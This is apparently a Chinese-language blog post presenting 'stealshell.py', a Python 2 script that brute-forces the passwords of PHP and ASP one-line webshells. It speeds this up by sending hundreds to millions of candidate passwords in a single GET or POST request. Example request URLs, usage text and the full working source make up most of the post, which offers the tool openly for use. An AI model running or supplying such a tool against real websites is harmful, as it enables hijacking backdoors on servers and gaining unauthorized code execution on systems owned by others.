思路来自爱春秋文章python之提速千倍爆破一句话 ,据说源头是吐司文章《让你的一句话爆破速度提升千倍》。

速度提升的关键在于一次尝试提交多个可能的密码,实测在Apache+PHP下使用POST方式请求可高达四千万条密码每次(耗时约20秒,GET方式请求只能达到两百条左右),效果可以说非常惊人,如果有一个足够好的字典,那将无往不利。

思路举例

1
2
3
4
慢速:
http://127.0.0.1/xiao.php?pass=echo(%22pwd:pass%22);
快速:
http://127.0.0.1/xiao.php?pass=echo(%22pwd:pass%22);&findneo=echo(%22pwd:findneo%22);

用法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
Usage: stealshell.py [options]

Options:
        -h, --help                      display this message
        -u URL, --url=URL               Target URL;This option must be provided to define the target
                                                (e.g. "http://127.0.0.1/xiao.php")
        -m METHOD                       request method (support GET/POST,GET is default )
        -d DICT                         the filename of candidate passwords (e.g. "shell_pass_dic.txt")
        -n NUM                          the number of passwords that will be submitted in each request
                                                 (219 is default)

依赖库

python2.7: requests,sys,getopt

效果如图

stealshell.png

代码

支持PHP和asp,asp部分没有搭环境测试,但只是payload简单替换,理论上是没有问题的。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import requests as req
import sys
import getopt

token="pwd"

def usage():
	print """
###################################################################################################
	This is a script used to guess the pass of webshells rapidly (up to 40M each time).
	It supports php&asp,GET&POST.
	site:	https://findneo.github.io/stealshell/
###################################################################################################

Usage: stealshell.py [options]

Options:
	-h, --help			display this message
	-u URL, --url=URL 		Target URL;This option must be provided to define the target  
						(e.g. "http://127.0.0.1/xiao.php")
	-m METHOD 			request method (support GET/POST,GET is default )
	-d DICT 			the filename of candidate passwords (e.g. "shell_pass_dic.txt")
	-n NUM 				the number of passwords that will be submitted in each request
						 (219 is default)
	"""

def get_dict(dic_name="shell_pass_dic.txt",pcpt=4,shell_type="php"):
	with open(dic_name,'r') as f:
		c=f.readlines()
	print "\nthis dict has %d items in all"%len(c)
	cnt=len(c)/pcpt # pcpt is short for password_check_per_time
	sp=[] # split password by pcpt per group
	sp.extend([c[i*pcpt:i*pcpt+pcpt] for i in xrange(cnt)])
	sp+=[c[cnt*pcpt:]]
	# sp:   [['x\n', 'cmd\n', 'pass\n', 'pwd\n'], ['xiao\n', '584521\n', 'nohack\n', '45189946\n'], ...]
	print "we split it into %d groups (%d * %d + %d) and submit one group each time\n"%(len(sp),cnt,pcpt,len(c)-pcpt*cnt)

	spd=[]
	execute="echo" if shell_type=="php" else "response.write"
	spd.extend([{j.strip('\n'):"%s('%s:%s');"%(execute,token,j) for j in i}for i in sp])
	# spd:  [{'x': "echo('pwd:x\n');", 'pass': "echo('pwd:pass\n');",...]
	return spd

def check_pass(url,pwd_list,method):
	for i in pwd_list:
		r=req.get(url,params=i) if method=="GET" else req.post(url,data=i)
		print '.',
		if token in r.content:
			print ""
			return r.content

if __name__ == '__main__':
	try:
		options,left_args=getopt.getopt(sys.argv[1:],"hu:m:d:n:",["help","url="])
	except Exception as e:
		raise e

	url="http://127.0.0.1/xiao.php"
	method="GET"
	dic_name="shell_pass_dic.txt"
	pass_num=219

	if not len(options):
		exit(usage())
	for name,value in options:
		if name in ("-h","--help"):
			exit(usage())
		elif name in ("-u","--url"):
			url=value
		elif name in ("-m"):
			method=value
		elif name in ("-d"):
			dic_name=value
		elif name in ("-n"):
			pass_num=int(value)

	shell_type=url[-3:]
	pwd_list=get_dict(dic_name=dic_name,pcpt=pass_num,shell_type=shell_type)
	print check_pass(url=url,pwd_list=pwd_list,method=method)